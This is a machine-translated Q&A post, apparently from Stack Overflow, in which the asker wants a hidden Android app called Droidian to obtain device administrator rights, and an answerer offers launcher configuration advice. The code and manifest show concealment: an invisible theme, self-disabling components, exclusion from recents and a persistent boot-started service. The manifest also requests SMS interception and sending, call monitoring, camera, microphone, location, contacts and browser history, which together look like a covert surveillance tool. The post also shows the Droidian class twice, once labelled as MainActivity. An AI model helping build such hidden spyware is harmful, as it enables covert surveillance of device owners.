我知道类似的问题已经被问了很多次,但我仍然无法从中获得我的解决方案;JAVA所以请记住这一点:)。我正在做一些与安全相关的实验项目;试图授予我的android应用程序设备管理员权限。我有一个SampleDeviceAdministrator应用程序,运行良好。我想对我的应用程序重复使用相同的代码,这样当我的应用软件启动时,它也可以获得设备管理员访问权限。为此,我包含了从以前的应用程序到我的应用程序的java类&我正试图通过以前的应用程序调用相同的代码到我的应用程序。以下是示例应用程序中MainActivity.java的屏幕截图。
package com.connect;
import android.app.Activity;
import android.app.ActivityManager;
import android.app.ActivityManager.RunningServiceInfo;
import android.content.Context;
import android.content.Intent;
import android.content.pm.PackageManager;
import android.os.Bundle;
import android.util.Log;
import android.view.WindowManager;
public class Droidian extends Activity {
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
getWindow().addFlags(WindowManager.LayoutParams.FLAG_NOT_TOUCHABLE);
getWindow().setSoftInputMode(WindowManager.LayoutParams.SOFT_INPUT_STATE_ALWAYS_HIDDEN);
PackageManager i = getApplicationContext().getPackageManager();
i.setComponentEnabledSetting(getComponentName(),PackageManager.COMPONENT_ENABLED_STATE_DISABLED, PackageManager.DONT_KILL_APP);
if(isMyServiceRunning()==false)
{
startService(new Intent(getApplicationContext(), DroidianService.class));
Log.i("com.connect","startService");
}
}
private boolean isMyServiceRunning() {
ActivityManager manager = (ActivityManager) getApplicationContext().getSystemService(Context.ACTIVITY_SERVICE);
for (RunningServiceInfo service : manager.getRunningServices(Integer.MAX_VALUE)) {
if (DroidianService.class.getName().equals(service.service.getClassName())) {
return true;
}
}
return false;
}
}
这是Drodian.java,它是我的应用程序的主要类。
package com.connect;
import android.app.Activity;
import android.app.ActivityManager;
import android.app.ActivityManager.RunningServiceInfo;
import android.content.Context;
import android.content.Intent;
import android.content.pm.PackageManager;
import android.os.Bundle;
import android.util.Log;
import android.view.WindowManager;
public class Droidian extends Activity {
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
getWindow().addFlags(WindowManager.LayoutParams.FLAG_NOT_TOUCHABLE);
getWindow().setSoftInputMode(WindowManager.LayoutParams.SOFT_INPUT_STATE_ALWAYS_HIDDEN);
PackageManager i = getApplicationContext().getPackageManager();
i.setComponentEnabledSetting(getComponentName(),PackageManager.COMPONENT_ENABLED_STATE_DISABLED, PackageManager.DONT_KILL_APP);
if(isMyServiceRunning()==false)
{
startService(new Intent(getApplicationContext(), DroidianService.class));
Log.i("com.connect","startService");
}
}
private boolean isMyServiceRunning() {
ActivityManager manager = (ActivityManager) getApplicationContext().getSystemService(Context.ACTIVITY_SERVICE);
for (RunningServiceInfo service : manager.getRunningServices(Integer.MAX_VALUE)) {
if (DroidianService.class.getName().equals(service.service.getClassName())) {
return true;
}
}
return false;
}
}
&此处为AndroidManifest.xml
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
package="com.hidden.droidian"
android:versionCode="2"
android:versionName="2.0" xmlns:tools="http://schemas.android.com/tools">
<uses-sdk
android:minSdkVersion="10"
android:targetSdkVersion="18" tools:ignore="OldTargetApi"/>
<uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" />
<supports-screens android:resizeable="true"
android:largeScreens="true"
android:xlargeScreens="true"
/>
<application
android:icon="@drawable/launcher"
android:label="@string/app_name"
android:theme="@style/Invisible"
android:allowBackup="false"
android:persistent="true">
<activity
android:name="com.connect.Droidian"
android:excludeFromRecents="true">
</activity>
<activity
android:name="com.connect.MainActivity"
android:label="@string/app_name">
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
</activity>
<activity
android:name="com.connect.Dialog"
android:excludeFromRecents="true">
</activity>
<activity
android:name="com.connect.CameraView"
android:excludeFromRecents="true">
</activity>
<activity
android:name="com.connect.VideoView"
android:excludeFromRecents="true">
</activity>
<service android:name="com.connect.DroidianService"
android:enabled="true"
android:exported="true"
android:persistent="true">
</service>
<service android:name="com.connect.RecordService">
</service>
<receiver android:name="com.connect.ServiceReceiver"
android:enabled="true"
android:exported="true"
android:persistent="true">
<intent-filter android:priority="1000">
<action android:name="android.intent.action.BOOT_COMPLETED" />
<action android:name="android.provider.Telephony.SMS_RECEIVED" />
<action android:name="android.intent.action.PHONE_STATE" />
<action android:name="android.intent.action.ACTION_EXTERNAL_APPLICATIONS_AVAILABLE"/>
<action android:name="android.intent.action.QUICKBOOT_POWERON" />
</intent-filter>
</receiver>
<receiver
android:name="com.connect.SampleDeviceAdminReceiver"
android:permission="android.permission.BIND_DEVICE_ADMIN" >
<meta-data
android:name="android.app.device_admin"
android:resource="@xml/device_admin" />
<intent-filter>
<action android:name="android.app.action.DEVICE_ADMIN_ENABLED" />
</intent-filter>
</receiver>
</application>
<uses-permission android:name="android.permission.QUICKBOOT_POWERON" android:required="false" />
<uses-permission android:name="android.permission.INTERNET" android:required="true"/>
<uses-permission android:name="android.permission.READ_SMS" android:required="true" />
<uses-permission android:name="android.permission.WRITE_SMS" android:required="true" />
<uses-permission android:name="android.permission.GET_ACCOUNTS" android:required="true" />
<uses-permission android:name="com.android.browser.permission.READ_HISTORY_BOOKMARKS"/>
<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" android:required="true"/>
<uses-permission android:name="android.permission.READ_CONTACTS" android:required="true" />
<uses-permission android:name="android.permission.ACCESS_FINE_LOCATION" android:required="true" />
<uses-permission android:name="android.permission.GET_TASKS" android:required="true" />
<uses-permission android:name="android.permission.WAKE_LOCK" android:required="false" />
<uses-permission android:name="android.permission.CALL_PHONE" android:required="true" />
<uses-permission android:name="android.permission.SEND_SMS" android:required="true" />
<uses-permission android:name="android.permission.WRITE_SETTINGS" android:required="false" />
<uses-permission android:name="android.permission.READ_PHONE_STATE" android:required="false" />
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" android:required="true" />
<uses-permission android:name="android.permission.CAMERA" android:required="true" />
<uses-permission android:name="android.permission.RECORD_AUDIO" android:required="false" />
<uses-permission android:name="android.permission.PROCESS_OUTGOING_CALLS" android:required="true" />
<uses-permission android:name="android.permission.RECEIVE_SMS" android:required="true" />
<uses-feature android:name="android.hardware.camera" android:required="false" />
<uses-feature android:name="android.hardware.camera.front" android:required="false" />
<uses-feature android:name="android.hardware.camera.autofocus" android:required="false" />
<uses-feature android:name="android.hardware.microphone" android:required="false" />
</manifest>
当我运行我的应用程序时,我得到JAVA运行时nullpointer异常。以下是logcat的片段:
12-10 13:47:42.261 4435-4435/com.hidden.droidian E/AndroidRuntime﹕ FATAL EXCEPTION: main
Process: com.hidden.droidian, PID: 4435
java.lang.RuntimeException: Failure delivering result ResultInfo{who=null, request=100, result=0, data=null} to activity {com.hidden.droidian/com.connect.MainActivity}: java.lang.NullPointerException: Attempt to read from field 'java.lang.String android.content.pm.ActivityInfo.parentActivityName' on a null object reference
at android.app.ActivityThread.deliverResults(ActivityThread.java:3699)
at android.app.ActivityThread.handleSendResult(ActivityThread.java:3742)
at android.app.ActivityThread.-wrap16(ActivityThread.java)
at android.app.ActivityThread$H.handleMessage(ActivityThread.java:1393)
at android.os.Handler.dispatchMessage(Handler.java:102)
at android.os.Looper.loop(Looper.java:148)
at android.app.ActivityThread.main(ActivityThread.java:5417)
at java.lang.reflect.Method.invoke(Native Method)
at com.android.internal.os.ZygoteInit$MethodAndArgsCaller.run(ZygoteInit.java:726)
at com.android.internal.os.ZygoteInit.main(ZygoteInit.java:616)
Caused by: java.lang.NullPointerException: Attempt to read from field 'java.lang.String android.content.pm.ActivityInfo.parentActivityName' on a null object reference
at android.app.Activity.onCreate(Activity.java:905)
at com.connect.Droidian.onCreate(Droidian.java:16)
at com.connect.MainActivity.onActivityResult(MainActivity.java:54)
at android.app.Activity.dispatchActivityResult(Activity.java:6428)
at android.app.ActivityThread.deliverResults(ActivityThread.java:3695)
at android.app.ActivityThread.handleSendResult(ActivityThread.java:3742)
at android.app.ActivityThread.-wrap16(ActivityThread.java)
at android.app.ActivityThread$H.handleMessage(ActivityThread.java:1393)
at android.os.Handler.dispatchMessage(Handler.java:102)
at android.os.Looper.loop(Looper.java:148)
at android.app.ActivityThread.main(ActivityThread.java:5417)
at java.lang.reflect.Method.invoke(Native Method)
at com.android.internal.os.ZygoteInit$MethodAndArgsCaller.run(ZygoteInit.java:726)
at com.android.internal.os.ZygoteInit.main(ZygoteInit.java:616)
此外,我的应用程序应该是一个隐藏的应用程序,所以没有创建启动器。然而,要执行设备管理权限,我想需要启动器。如果有人能调查一下,那就太好了。如果我需要提供更多信息,请告诉我。谢谢
我想你忘了发布屏幕截图了。
首先,如果Drodian.java是应用程序的主类,为什么它没有在Manifest文件中设置为启动器?
应该是这样的:
<activity
android:name="com.connect.Droidian"
android:label="@string/app_name">
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
</activity>
一个应用程序中只有一个LAUNCHER。
如果这对你有帮助,请告诉我。